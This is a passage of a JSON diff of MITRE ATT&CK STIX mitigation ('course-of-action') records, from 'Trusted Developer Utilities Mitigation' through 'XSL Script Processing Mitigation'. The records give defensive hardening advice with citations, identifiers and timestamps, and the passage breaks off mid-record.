"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "modified": "2019-07-25T12:28:38.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Transmitted Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1493", + "url": "https://attack.mitre.org/mitigations/T1493" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:03:39.689Z", + "id": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", + "modified": "2019-07-25T12:28:59.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Trap Mitigation", + "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", + "external_references": [ + { + "external_id": "T1154", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1154" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "modified": "2019-07-25T12:29:22.784Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Trusted Developer Utilities Mitigation", + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1127", + "url": "https://attack.mitre.org/mitigations/T1127" + }, + { + "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.", + "source_name": "Microsoft GitHub Device Guard CI Policies", + "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md" + }, + { + "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.", + "source_name": "Exploit Monday Mitigate Device Guard Bypases", + "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html" + }, + { + "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.", + "source_name": "GitHub mattifestation DeviceGuardBypass", + "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules" + }, + { + "description": "Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016.", + "source_name": "SubTee MSBuild" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "modified": "2019-07-25T12:29:49.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Trusted Relationship Mitigation", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", + "external_references": [ + { + "external_id": "T1199", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1199" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", + "modified": "2019-07-25T12:30:35.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Two-Factor Authentication Interception Mitigation", + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1111", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1111" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782", + "modified": "2019-07-25T12:30:55.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Uncommonly Used Port Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1065" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe", + "modified": "2019-07-25T12:31:21.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Update Software", + "description": "Perform regular software updates to mitigate exploitation risk.", + "external_references": [ + { + "external_id": "M1051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1051" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:12:55.207Z", + "id": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-06-11T17:12:55.207Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "User Account Control", + "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", + "external_references": [ + { + "external_id": "M1052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1052" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:14:35.170Z", + "id": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-06-11T17:14:35.170Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "User Account Management", + "description": "Manage the creation, modification, use, and permissions associated to user accounts.", + "external_references": [ + { + "external_id": "M1018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1018" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T16:50:58.767Z", + "id": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-06-06T16:50:58.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "User Execution Mitigation", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", + "external_references": [ + { + "external_id": "T1204", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1204" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "modified": "2019-07-25T12:31:53.804Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "User Training", + "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", + "external_references": [ + { + "external_id": "M1017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1017" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T16:50:04.963Z", + "id": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-06T16:50:04.963Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Valid Accounts Mitigation", + "description": "Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", + "external_references": [ + { + "external_id": "T1078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1078" + }, + { + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "source_name": "Microsoft Securing Privileged Access", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + }, + { + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "source_name": "TechNet Credential Theft", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "source_name": "TechNet Least Privilege", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "modified": "2019-07-25T12:32:31.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Video Capture Mitigation", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1125" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "modified": "2019-07-25T12:33:12.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Virtualization/Sandbox Evasion Mitigation", + "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1497", + "url": "https://attack.mitre.org/mitigations/T1497" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:44:59.302Z", + "id": "course-of-action--c4585911-6ecf-47b6-aa6b-a2bae30fd3f7", + "modified": "2019-07-25T12:33:35.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Vulnerability Scanning", + "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", + "external_references": [ + { + "external_id": "M1016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1016" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T16:47:30.700Z", + "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "modified": "2019-06-06T16:47:30.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Web Service Mitigation", + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1102", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1102" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", + "modified": "2019-07-25T12:34:04.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Web Shell Mitigation", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "external_references": [ + { + "external_id": "T1100", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1100" + }, + { + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "source_name": "US-CERT Alert TA15-314A Web Shells", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736", + "modified": "2019-07-25T12:34:23.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Windows Admin Shares Mitigation", + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1077" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "modified": "2019-07-25T12:34:42.283Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Windows Management Instrumentation Event Subscription Mitigation", + "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "external_references": [ + { + "external_id": "T1084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1084" + }, + { + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "source_name": "FireEye WMI 2015", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "modified": "2019-07-25T12:35:09.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Windows Management Instrumentation Mitigation", + "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "external_references": [ + { + "external_id": "T1047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1047" + }, + { + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "source_name": "FireEye WMI 2015", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "modified": "2019-07-25T12:35:34.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Windows Remote Management Mitigation", + "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", + "external_references": [ + { + "external_id": "T1028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1028" + }, + { + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "source_name": "NSA Spotting", + "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025", + "modified": "2019-07-25T12:35:58.687Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Winlogon Helper DLL Mitigation", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "external_references": [ + { + "external_id": "T1004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1004" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "modified": "2019-07-25T12:36:23.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "XSL Script Processing Mitigation", + "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", + "external_references": [ + { + "external_id": "T1220", + "source_name": "mitre-attack", + "url": 